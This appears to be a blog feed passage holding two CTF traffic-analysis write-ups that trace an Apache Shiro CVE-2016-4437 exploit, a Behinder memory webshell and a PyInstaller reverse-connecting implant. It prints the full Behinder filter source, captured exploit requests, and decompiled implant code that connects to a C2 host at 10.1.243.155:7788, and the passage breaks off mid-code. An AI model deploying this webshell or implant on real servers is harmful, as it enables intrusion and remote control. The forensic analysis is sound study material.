                return block_idx, actual_chunk, fname
            except Exception as e:
                return None, f&quot;解码异常: {e}&quot;, fname
                
    return None, &quot;无效的 Class 或解密失败&quot;, fname

def main():
    files = [f for f in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, f))]
    print(f&quot;[*] 找到 {len(files)} 个文件。启动 {MAX_WORKERS} 个线程疯狂反编译中...&quot;)

    chunks_dict = {}

    # 启动线程池
    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        # 提交所有任务
        future_to_file = {executor.submit(process_single_file, fname): fname for fname in files}
        
        # as_completed 会在某个线程完成时立刻 yield，可以实时看到进度
        for future in concurrent.futures.as_completed(future_to_file):
            block_idx, result_data, fname = future.result()
            
            if block_idx is not None:
                chunks_dict[block_idx] = result_data
                print(f&quot;[+] {fname} -&amp;gt; 提取成功: 块索引 [{block_idx}]&quot;)
            elif &quot;无效&quot; not in result_data:
                # 过滤掉非目标流量的报错干扰，只打印真的出错了的
                print(f&quot;[-] {fname} -&amp;gt; 提取失败: {result_data}&quot;)

    if not chunks_dict:
        print(&quot;\n[-] 未提取到任何有效数据块。&quot;)
        return

    print(f&quot;\n[*] 所有 {len(chunks_dict)} 块提取完毕。开始按 blockIndex 精准重组...&quot;)
    
    sorted_indices = sorted(chunks_dict.keys())
    
    with open(OUTPUT, &quot;wb&quot;) as f:
        for idx in sorted_indices:
            print(f&quot;[*] 写入块索引 [{idx}]&quot;)
            f.write(chunks_dict[idx])
            
    print(f&quot;[!] 完美重组完成！生成文件：{OUTPUT}&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现是一个Pyinstaller打包的elf。解压，逆向其中的&lt;code&gt;inspect.pyc&lt;/code&gt;，得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.9

import os
import socket
import struct
import subprocess
import argparse
import settings
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
SERVER_LISTEN_IP = &apos;10.1.243.155&apos;
SERVER_LISTEN_PORT = 7788
IMPLANT_CONNECT_IP = &apos;10.1.243.155&apos;
IMPLANT_CONNECT_PORT = 7788
SERVER_LISTEN_NUM = 20
_aesgcm = None

def set_aes_key(key_b64 = None):
    global _aesgcm
    key = base64.b64decode(key_b64)
    if len(key) not in (16, 24, 32):
        raise ValueError(&apos;AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）&apos;)
    _aesgcm = None(key)


def encrypt_data(data = None):
    if _aesgcm is None:
        raise RuntimeError(&apos;AES 密钥未初始化，请先调用 set_aes_key()&apos;)
    nonce = None.urandom(12)
    ciphertext = _aesgcm.encrypt(nonce, data, None)
    return nonce + ciphertext


def decrypt_data(encrypted_data = None):
    if _aesgcm is None:
        raise RuntimeError(&apos;AES 密钥未初始化，请先调用 set_aes_key()&apos;)
    if None(encrypted_data) &amp;lt; 28:
        raise ValueError(&apos;加密数据太短，无法包含 nonce 和认证标签&apos;)
    nonce = None[:12]
    ciphertext_with_tag = encrypted_data[12:]
    plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None)
    return plaintext


def exec_cmd(command, code_flag):
    command = command.decode(&apos;utf-8&apos;)
# WARNING: Decompyle incomplete


def send_data(conn, data):
    if type(data) == str:
        data = data.encode(&apos;utf-8&apos;)
    encrypted_data = settings.encrypt_data(data)
    cmd_len = struct.pack(&apos;i&apos;, len(encrypted_data))
    conn.send(cmd_len)
    conn.send(encrypted_data)


def recv_data(sock, buf_size = (1024,)):
    x = sock.recv(4)
    all_size = struct.unpack(&apos;i&apos;, x)[0]
    recv_size = 0
    encrypted_data = b&apos;&apos;
    if recv_size &amp;lt; all_size:
        encrypted_data += sock.recv(buf_size)
        recv_size += buf_size
        continue
    data = settings.decrypt_data(encrypted_data)
    return data


def main():
    sock = socket.socket()
    sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT))
    code_flag = &apos;gbk&apos; if os.name == &apos;nt&apos; else &apos;utf-8&apos;
# WARNING: Decompyle incomplete

if __name__ == &apos;__main__&apos;:
    parser = argparse.ArgumentParser(&apos;&apos;, **(&apos;description&apos;,))
    parser.add_argument(&apos;--aes-key&apos;, True, &apos;&apos;, **(&apos;required&apos;, &apos;help&apos;))
    args = parser.parse_args()
    settings.set_aes_key(args.aes_key)
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也证明了猜想，确实是GCM&lt;br /&gt;
（不过这一看就是ai出的罢）&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;梳理&lt;/h1&gt;
&lt;p&gt;完整的链条应该是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    participant Attacker as 攻击者 (Attacker / C2 Server)
    participant WebServer as Web 应用层 (Shiro / Behinder WebShell)
    participant OS as 底层系统 (Linux OS)

    rect rgb(240, 248, 255)
        note right of Attacker: 阶段一：Shiro 漏洞利用与 RCE
        Attacker-&amp;gt;&amp;gt;WebServer: 持续爆破 rememberMe Cookie (CVE-2016-4437)
        WebServer--&amp;gt;&amp;gt;Attacker: 302 跳转 (爆破成功获取 AES Key)
        Attacker-&amp;gt;&amp;gt;WebServer: 发送 RCE Payload (Authorization头传递命令)
        WebServer-&amp;gt;&amp;gt;OS: 派生进程执行命令 (whoami, ls -la 等)
        OS--&amp;gt;&amp;gt;WebServer: 返回标准输出结果 (root 等)
        WebServer--&amp;gt;&amp;gt;Attacker: 返回 Base64 加密的命令结果
    end

    rect rgb(255, 240, 245)
        note right of Attacker: 阶段二：注入内存马与后渗透探测
        Attacker-&amp;gt;&amp;gt;WebServer: POST 请求注入 Behinder(冰蝎) 内存马
        WebServer--&amp;gt;&amp;gt;Attacker: 返回注入成功标识 (-&amp;gt;|Success|&amp;lt;-)
        Attacker-&amp;gt;&amp;gt;WebServer: 访问 /favicondemo.ico 发送 AES 加密的 Java Class
        WebServer-&amp;gt;&amp;gt;OS: 读取环境变量、网络信息、遍历 /tmp 与 /var/tmp 目录
        OS--&amp;gt;&amp;gt;WebServer: 返回底层系统状态和文件列表
        WebServer--&amp;gt;&amp;gt;Attacker: 返回 AES 加密的探测结果
    end

    rect rgb(240, 255, 240)
        note right of Attacker: 阶段三：分片上传与执行持久化木马
        Attacker-&amp;gt;&amp;gt;WebServer: 多次发包分片上传二进制 ELF 木马
        WebServer-&amp;gt;&amp;gt;OS: 将 Payload 块追加写入 /var/tmp/out
        Attacker-&amp;gt;&amp;gt;WebServer: 发送 Hash 校验请求
        WebServer-&amp;gt;&amp;gt;OS: 计算落地文件 /var/tmp/out 的 MD5 Hash
        OS--&amp;gt;&amp;gt;WebServer: 校验通过
        WebServer--&amp;gt;&amp;gt;Attacker: 返回 Hash 值确认文件完整性
        Attacker-&amp;gt;&amp;gt;WebServer: 发送命令 chmod +x out 及 ./out --aes-key ...
        WebServer-&amp;gt;&amp;gt;OS: 赋予执行权限并带密钥参数运行木马程序
    end

    rect rgb(255, 253, 230)
        note right of Attacker: 阶段四：TCP 反连与深层控制
        OS-&amp;gt;&amp;gt;Attacker: Pyinstaller 木马向 C2 发起 TCP 反向连接 (10.1.243.155:7788)
        Attacker-&amp;gt;&amp;gt;OS: 发送基于 AES-GCM 加密的指令 (pwd, ls, echo)
        OS--&amp;gt;&amp;gt;Attacker: 返回加密的执行结果 (最终输出 Flag)
    end
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;阶段一：Shiro 漏洞利用与 RCE 验证&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击者通过发送包含 &lt;code&gt;rememberMe&lt;/code&gt; Cookie 的 GET 请求，成功爆破出 Apache Shiro 的 AES 密钥。&lt;/li&gt;
&lt;li&gt;随后，攻击者利用 &lt;code&gt;Authorization&lt;/code&gt; 头传递加密命令，Web 服务器执行了 &lt;code&gt;whoami&lt;/code&gt; 等命令，并返回了 Base64 加密的执行结果 &lt;code&gt;root&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;阶段二：植入内存 WebShell 与初步控制&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击者向 &lt;code&gt;/&lt;/code&gt; 路径发送携带 Java 类的 POST 请求，成功注入冰蝎（Behinder）内存马，并将 C2 通信信道建立在 &lt;code&gt;/favicondemo.ico&lt;/code&gt; 路径上。&lt;/li&gt;
&lt;li&gt;攻击者通过该信道下发经过 AES 加密的 Java Class，利用 Web 服务层读取了底层系统的环境变量、IP 信息（&lt;code&gt;172.18.0.2&lt;/code&gt;），并执行了基础系统命令（如 &lt;code&gt;ps -ef&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;阶段三：恶意木马上传与落地执行&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击者通过 WebShell，利用 &lt;code&gt;blockIndex&lt;/code&gt; 和 &lt;code&gt;blockSize&lt;/code&gt; 参数将一个 ELF 二进制文件分片追加写入到系统的 &lt;code&gt;/var/tmp/out&lt;/code&gt; 路径下，并进行了 Hash 校验（&lt;code&gt;a0275c1593af1adb&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;攻击者下发 Shell 命令 &lt;code&gt;chmod +x out&lt;/code&gt; 赋予文件执行权限，并通过 &lt;code&gt;./out --aes-key ...&lt;/code&gt; 在底层系统运行了该木马。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;阶段四：TCP 反连获取 Flag&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;底层的 Python 恶意木马运行后，直接绕过 Web 层面，主动向攻击者的 C2 服务器（&lt;code&gt;10.1.243.155:7788&lt;/code&gt;）发起 TCP 连接。&lt;/li&gt;
&lt;li&gt;双方切换至 AES-GCM 算法进行通信，攻击者下发 &lt;code&gt;pwd&lt;/code&gt;、&lt;code&gt;ls&lt;/code&gt;、&lt;code&gt;echo Congratulations&lt;/code&gt; 等远控指令，并在最终的回包中获取到了 Flag。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总的来说还是挺有意思（？&lt;/p&gt;
</content:encoded></item><item><title>2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp</title><link>https://blog.iyoroy.cn/posts/en-260/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-260/</guid><description>Analyzing the traffic_hunt capture from CCSSSC 2026, tracing Shiro exploitation, a Behinder memory shell, and payload uploads before decrypting custom shell traffic to recover the flag.</description><pubDate>Sun, 15 Mar 2026 12:20:00 GMT</pubDate><content:encoded>&lt;h1&gt;Layer 1: Apache Shiro CVE-2016-4437&lt;/h1&gt;
&lt;p&gt;Opening the &lt;code&gt;pcapng&lt;/code&gt; capture file, most traffic was HTTP. Attempting to filter all HTTP requests:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_ws.col.protocol == &quot;HTTP&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It was observed that the initial part consisted of &lt;code&gt;GET&lt;/code&gt; scans. Later, several &lt;code&gt;POST&lt;/code&gt; requests were directed to the same path &lt;code&gt;/favicondemo.ico&lt;/code&gt;. Opening them revealed payloads:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /favicondemo.ico HTTP/1.1
...

eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing.
Filtering all &lt;code&gt;POST&lt;/code&gt; requests:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http.request.method == &quot;POST&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HTTP stream 5009 contained a &lt;code&gt;POST&lt;/code&gt; to &lt;code&gt;/&lt;/code&gt;. Opening it revealed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1
Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL
...
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 302
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT
Location: http://10.1.33.69:8080/login
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And a series of similar requests.
Based on the &lt;code&gt;JSESSIONID&lt;/code&gt;, it indicated a Java backend. The &lt;code&gt;rememberMe=deleteMe&lt;/code&gt; response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1
Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server responded:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 302
Location: http://10.1.33.69:8080/login
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The absence of a new &lt;code&gt;Set-Cookie&lt;/code&gt; header indicated that the AES key had been successfully matched. Subsequently:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1
Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p
Authorization: Basic d2hvYW1p
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Server response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200
...

$$$cm9vdAo=$$$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Decoding &lt;code&gt;cm9vdAo=&lt;/code&gt; yields &lt;code&gt;root&lt;/code&gt;. Decoding the &lt;code&gt;Authorization&lt;/code&gt; header value &lt;code&gt;d2hvYW1p&lt;/code&gt; yields &lt;code&gt;whoami&lt;/code&gt;, confirming RCE was achieved.
Subsequent commands were executed, returning:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwd
/

ls -la
total 21844
drwxr-xr-x   1 root root     4096 Jan  6 03:43 .
drwxr-xr-x   1 root root     4096 Jan  6 03:43 ..
-rwxr-xr-x   1 root root        0 Jan  6 03:43 .dockerenv
drwxr-xr-x   1 root root     4096 Oct 21  2016 bin
drwxr-xr-x   2 root root     4096 Sep 12  2016 boot
drwxr-xr-x   5 root root      340 Jan  6 03:43 dev
drwxr-xr-x   1 root root     4096 Jan  6 03:43 etc
drwxr-xr-x   2 root root     4096 Sep 12  2016 home
drwxr-xr-x   1 root root     4096 Oct 31  2016 lib
drwxr-xr-x   2 root root     4096 Oct 20  2016 lib64
drwxr-xr-x   2 root root     4096 Oct 20  2016 media
drwxr-xr-x   2 root root     4096 Oct 20  2016 mnt
drwxr-xr-x   2 root root     4096 Oct 20  2016 opt
dr-xr-xr-x 167 root root        0 Jan  6 03:43 proc
drwx------   2 root root     4096 Oct 20  2016 root
drwxr-xr-x   3 root root     4096 Oct 20  2016 run
drwxr-xr-x   2 root root     4096 Oct 20  2016 sbin
-rw-r--r--   1 root root 22290368 Dec 19  2019 shirodemo-1.0-SNAPSHOT.jar
drwxr-xr-x   2 root root     4096 Oct 20  2016 srv
dr-xr-xr-x  13 root root        0 Jan  6 03:43 sys
drwxrwxrwt   1 root root     4096 Jan  6 03:43 tmp
drwxr-xr-x   1 root root     4096 Oct 31  2016 usr
drwxr-xr-x   1 root root     4096 Oct 31  2016 var

w
 05:56:48 up 9 days,  2:03,  0 users,  load average: 1.44, 0.84, 0.33
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing particularly useful was found.
Subsequently, a request was sent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1
...
Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A==
p: HWmc2TLDoihdlr0N
path: /favicondemo.ico
...

user=yv66vgAAADQB5...GCQ%3D%3D
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server responded:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Tue, 06 Jan 2026 05:57:43 GMT
Connection: close

-&amp;gt;|Success|&amp;lt;-
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No further similar packets were observed, indicating a webshell was likely implanted.&lt;/p&gt;
&lt;h1&gt;Layer 2: Behinder WebShell Memory-Shell&lt;/h1&gt;
&lt;p&gt;Direct Base64 decoding of the &lt;code&gt;user&lt;/code&gt; parameter from the above &lt;code&gt;POST&lt;/code&gt; request revealed a Java class starting with &lt;code&gt;CAFEBABE&lt;/code&gt;. Exporting and attempting to open it with Jadx yielded:
&lt;img src=&quot;./images/2026/03/1875533597.png&quot; alt=&quot;Pasted image 20260314123043.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Code - Click to show&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.summersec.x;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.FilterRegistration;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
  
/* loaded from: download.class */
public final class BehinderFilter extends ClassLoader implements Filter {
    public HttpServletRequest request;
    public HttpServletResponse response;
    public String cs;
    public String Pwd;
    public String path;

    public BehinderFilter() {
        this.request = null;
        this.response = null;
        this.cs = &quot;UTF-8&quot;;
        this.Pwd = &quot;eac9fa38330a7535&quot;;
        this.path = &quot;/favicondemo.ico&quot;;
    }
  
    public BehinderFilter(ClassLoader c) {
        super(c);
        this.request = null;
        this.response = null;
        this.cs = &quot;UTF-8&quot;;
        this.Pwd = &quot;eac9fa38330a7535&quot;;
        this.path = &quot;/favicondemo.ico&quot;;
    }
  
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
  
    public static String md5(String s) throws NoSuchAlgorithmException {
        String ret = null;
        try {
            MessageDigest m = MessageDigest.getInstance(&quot;MD5&quot;);
            m.update(s.getBytes(), 0, s.length());
            ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16);
        } catch (Exception e) {
        }
        return ret;
    }
  
    public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException {
        parseObj(obj);
        this.Pwd = md5(this.request.getHeader(&quot;p&quot;));
        this.path = this.request.getHeader(&quot;path&quot;);
        StringBuffer output = new StringBuffer();
        try {
            this.response.setContentType(&quot;text/html&quot;);
            this.request.setCharacterEncoding(this.cs);
            this.response.setCharacterEncoding(this.cs);
            output.append(addFilter());
        } catch (Exception var7) {
            output.append(&quot;ERROR:// &quot; + var7.toString());
        }
        try {
            this.response.getWriter().print(&quot;-&amp;gt;|&quot; + output.toString() + &quot;|&amp;lt;-&quot;);
            this.response.getWriter().flush();
            this.response.getWriter().close();
            return true;
        } catch (Exception e) {
            return true;
        }
    }
  
    public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException {
        if (obj.getClass().isArray()) {
            Object[] data = (Object[]) obj;
            this.request = (HttpServletRequest) data[0];
            this.response = (HttpServletResponse) data[1];
            return;
        }
        try {
            Class clazz = Class.forName(&quot;javax.servlet.jsp.PageContext&quot;);
            this.request = (HttpServletRequest) clazz.getDeclaredMethod(&quot;getRequest&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.response = (HttpServletResponse) clazz.getDeclaredMethod(&quot;getResponse&quot;, new Class[0]).invoke(obj, new Object[0]);
        } catch (Exception e) {
            if (obj instanceof HttpServletRequest) {
                this.request = (HttpServletRequest) obj;
                try {
                    Field req = this.request.getClass().getDeclaredField(&quot;request&quot;);
                    req.setAccessible(true);
                    HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);
                    Field resp = request2.getClass().getDeclaredField(&quot;response&quot;);
                    resp.setAccessible(true);
                    this.response = (HttpServletResponse) resp.get(request2);
                } catch (Exception e2) {
                    try {
                        this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod(&quot;getResponse&quot;, new Class[0]).invoke(obj, new Object[0]);
                    } catch (Exception e3) {
                    }
                }
            }
        }
    }
  
    public String addFilter() throws Exception {
        Class filterMap;
        ServletContext servletContext = this.request.getServletContext();
        String filterName = this.path;
        String url = this.path;
        if (servletContext.getFilterRegistration(filterName) == null) {
            StandardContext standardContext = null;
            Field stateField = null;
            try {
                try {
                    Field contextField = servletContext.getClass().getDeclaredField(&quot;context&quot;);
                    contextField.setAccessible(true);
                    ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);
                    Field contextField2 = applicationContext.getClass().getDeclaredField(&quot;context&quot;);
                    contextField2.setAccessible(true);
                    standardContext = (StandardContext) contextField2.get(applicationContext);
                    stateField = LifecycleBase.class.getDeclaredField(&quot;state&quot;);
                    stateField.setAccessible(true);
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);
                    FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this);
                    filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                    Method filterStartMethod = StandardContext.class.getMethod(&quot;filterStart&quot;, new Class[0]);
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, (Object[]) null);
                    stateField.set(standardContext, LifecycleState.STARTED);
                    try {
                        filterMap = Class.forName(&quot;org.apache.tomcat.util.descriptor.web.FilterMap&quot;);
                    } catch (Exception e) {
                        filterMap = Class.forName(&quot;org.apache.catalina.deploy.FilterMap&quot;);
                    }
                    Method findFilterMaps = standardContext.getClass().getMethod(&quot;findFilterMaps&quot;, new Class[0]);
                    Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]);
                    for (int i = 0; i &amp;lt; filterMaps.length; i++) {
                        Object filterMapObj = filterMaps[i];
                        Method findFilterMaps2 = filterMap.getMethod(&quot;getFilterName&quot;, new Class[0]);
                        String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]);
                        if (name.equalsIgnoreCase(filterName)) {
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMapObj;
                        }
                    }
                    stateField.set(standardContext, LifecycleState.STARTED);
                    return &quot;Success&quot;;
                } catch (Exception var22) {
                    String var11 = var22.getMessage();
                    stateField.set(standardContext, LifecycleState.STARTED);
                    return var11;
                }
            } catch (Throwable th) {
                stateField.set(standardContext, LifecycleState.STARTED);
                throw th;
            }
        }
        return &quot;Filter already exists&quot;;
    }
  
    /* JADX WARN: Multi-variable type inference failed */
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException {
        HttpSession session = ((HttpServletRequest) req).getSession();
        ServletRequest servletRequestInvoke = req;
        ServletResponse servletResponseInvoke = resp;
        if (!(servletRequestInvoke instanceof RequestFacade)) {
            try {
                Method getRequest = ServletRequestWrapper.class.getMethod(&quot;getRequest&quot;, new Class[0]);
                servletRequestInvoke = getRequest.invoke(this.request, new Object[0]);
                while (!(servletRequestInvoke instanceof RequestFacade)) {
                    servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]);
                }
            } catch (Exception e) {
            }
        }
        try {
            if (!(servletResponseInvoke instanceof ResponseFacade)) {
                Method getResponse = ServletResponseWrapper.class.getMethod(&quot;getResponse&quot;, new Class[0]);
                servletResponseInvoke = getResponse.invoke(this.response, new Object[0]);
                while (!(servletResponseInvoke instanceof ResponseFacade)) {
                    servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]);
                }
            }
        } catch (Exception e2) {
        }
        Map obj = new HashMap();
        obj.put(&quot;request&quot;, servletRequestInvoke);
        obj.put(&quot;response&quot;, servletResponseInvoke);
        obj.put(&quot;session&quot;, session);
        try {
            session.putValue(&quot;u&quot;, this.Pwd);
            Cipher c = Cipher.getInstance(&quot;AES&quot;);
            c.init(2, new SecretKeySpec(this.Pwd.getBytes(), &quot;AES&quot;));
            new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
        } catch (Exception var7) {
            var7.printStackTrace();
        }
    }
  
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName(&quot;sun.misc.BASE64Decoder&quot;);
            return (byte[]) clazz.getMethod(&quot;decodeBuffer&quot;, String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Object decoder = Class.forName(&quot;java.util.Base64&quot;).getMethod(&quot;getDecoder&quot;, new Class[0]).invoke(null, new Object[0]);
            return (byte[]) decoder.getClass().getMethod(&quot;decode&quot;, String.class).invoke(decoder, str);
        }
    }
  
    public void init(FilterConfig filterConfig) throws ServletException {
    }
  
    public void destroy() {
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This revealed a Behinder webshell. Analysis showed it encrypts/decrypts requests and responses using AES. If the request header contains &lt;code&gt;p&lt;/code&gt;, it takes the MD5 hash of the &lt;code&gt;p&lt;/code&gt; value and uses the first 16 characters as the AES key.
Based on the earlier request, &lt;code&gt;p: HWmc2TLDoihdlr0N&lt;/code&gt;, its MD5 hash is &lt;code&gt;1f2c8075acd3d118674e99f8e61b9596&lt;/code&gt;. The first 16 characters, &lt;code&gt;1f2c8075acd3d118&lt;/code&gt;, are the AES password.
It also set &lt;code&gt;/favicondemo.ico&lt;/code&gt; as the C2 communication address, confirming that the POST data observed at this URL were the communication records.&lt;/p&gt;
&lt;p&gt;Next, examining the previously identified &lt;code&gt;POST&lt;/code&gt; packets, HTTP stream 40552 contained a large number of exchanges.
A Python script was written to decrypt the first request payload using the key &lt;code&gt;1f2c8075acd3d118&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import Crypto.Cipher
from Crypto.Cipher import AES
import base64

def decrypt_behinder(data, key_str):
    key = key_str.encode(&apos;utf-8&apos;)
    raw_data = base64.b64decode(data)
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(raw_data)
    # Remove PKCS5Padding
    padding_len = decrypted[-1]
    return decrypted[:-padding_len]

key = &quot;1f2c8075acd3d118&quot;
body = &quot;qjYfBvYIRKQ...ciIgehs=&quot;

data=decrypt_behinder(body, key)
print(data)
with open(f&quot;payload2.bin&quot;, &quot;wb&quot;) as file:
	file.write(data) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output started with &lt;code&gt;CAFEBABE&lt;/code&gt;, the Java class file header. Opening it with Jadx:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Code - Click to show&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package net.qmrqiui;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: Echo.java */
/* loaded from: payload-favicondemo.ico.class */
public class Fmdrfajtrr {
    public static String content;
    public static String payloadBody;
    private Object Request;
    private Object Response;
    private Object Session;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(&quot;1f2c8075acd3d118&quot;.getBytes(&quot;utf-8&quot;), &quot;AES&quot;);
        Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class&amp;lt;?&amp;gt; cls = Class.forName(&quot;java.util.Base64&quot;);
